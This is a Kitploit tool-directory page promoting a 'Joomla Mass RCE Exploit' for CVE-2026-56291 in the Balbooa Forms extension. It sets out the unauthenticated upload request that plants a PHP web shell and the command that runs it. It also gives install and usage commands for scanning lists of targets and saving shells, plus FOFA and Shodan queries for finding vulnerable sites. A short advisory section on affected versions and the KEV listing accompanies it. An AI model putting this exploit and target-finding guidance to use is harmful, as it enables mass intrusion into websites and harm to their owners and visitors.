Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-56291 — Balbooa Forms (com_baforms) < 2.4.1 — Unauthenticated File Upload to RCE via form.uploadAttachmentFile | CVSS 9.8 | CISA KEV | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-56291
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubshinthink/cve-2026-56291

CVE-2026-56291

Balbooa Forms (com_baforms) < 2.4.1 — Unauthenticated File Upload to RCE via form.uploadAttachmentFile | CVSS 9.8 | CISA KEV

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-56291 — Balbooa Forms Joomla Mass RCE Exploit

Pre-Auth form.uploadAttachmentFile → No CSRF → PHP Upload


Overview

CVE-2026-56291 is a critical (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Balbooa Forms (com_baforms) Joomla extension (< 2.4.1).

The form.uploadAttachmentFile frontend task does not call Session::checkToken() or perform any permission check. Uploaded files use the attacker's extension directly: $fileName = $name . '.' . $ext. Files land in images/baforms/uploads/form-{id}/ — directly executable as PHP.

Affected Versions

VersionStatus
1.0 – 2.4.0Vulnerable
2.4.1+Patched

CISA KEV: Added July 10, 2026 — active exploitation confirmed.


Vulnerability Mechanism

Root Cause

root@kitploit:~
// FormModel::uploadAttachmentFile (frontend/models/forms/FormModel.php ~L122)
// No Session::checkToken(), no permission check, no extension whitelist
$fileName = $name . '.' . $ext;  // attacker's extension used directly
$filePath = JPATH_ROOT . '/images/baforms/uploads/form-' . $formId . '/' . $fileName;
move_uploaded_file($tmpFile, $filePath);

Attack Flow

root@kitploit:~
POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1&format=json
  file = shell.php (multipart)
→ Saved to images/baforms/uploads/form-1/shell.php
→ https://target.com/images/baforms/uploads/form-1/shell.php?c=id
→ RCE

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-56291.git
cd CVE-2026-56291
pip install -r requirements.txt

Usage

root@kitploit:~
python cve_2026_56291.py -t target.com
python cve_2026_56291.py -f targets.txt -o shells.txt
python cve_2026_56291.py -t target.com --debug
python cve_2026_56291.py -t target.com --no-cleanup

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_baforms"
Shodan: http.html:"baforms"

References

ResourceLink
CISA KEVcisa.gov/known-exploited-vulnerabilities
Fix Detailsmysites.guru
ResearcherPhil Taylor

Not affiliated with Balbooa.

Download Tool